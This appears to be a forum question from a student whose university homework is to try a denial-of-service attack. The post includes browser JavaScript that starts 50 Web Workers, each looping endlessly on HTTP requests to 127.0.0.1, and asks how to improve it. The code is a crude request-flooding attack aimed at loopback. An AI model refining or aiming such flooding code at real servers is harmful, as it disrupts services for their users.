title: JavaScript DoS attack using WebWorkers
body: <p>at the university we got sort of a "homework" to try to execute denial of service attack. I have decided to go a little bit different way then oters. I tried to execute it using JavaScript.</p>
  
  <p><strong>The questions are:</strong></p>
  
  <ul>
  <li>Is it even possible to to this?</li>
  <li>If I do HttpRequest on loopback will I see the result by unaccesibility of any web sites caused by overflowing http port?</li>
  <li>Is there better code to do this than mine?</li>
  </ul>
  
  <p><strong>index.html:</strong></p>
  
  <pre><code>&lt;script&gt;
      for(var i = 0; i&lt; 50; i++) {
          worker = new Worker("worker.js");
          worker.postMessage('Hello World');
      }
  &lt;/script&gt;
  </code></pre>
  
  <p><strong>worker.js:</strong></p>
  
  <pre><code>self.addEventListener('message', function(e) {
      while(1) {
              var xmlHttp = new XMLHttpRequest();
              xmlHttp.onreadystatechange = function() { 
              if (xmlHttp.readyState == 4 &amp;&amp; xmlHttp.status == 200)
                      callback(xmlHttp.responseText);
              }
              xmlHttp.open("GET", "http://127.0.0.1", true);
              xmlHttp.send(null);
      }
  }, false);
  </code></pre>
  
  <p>Thank you for any input!</p>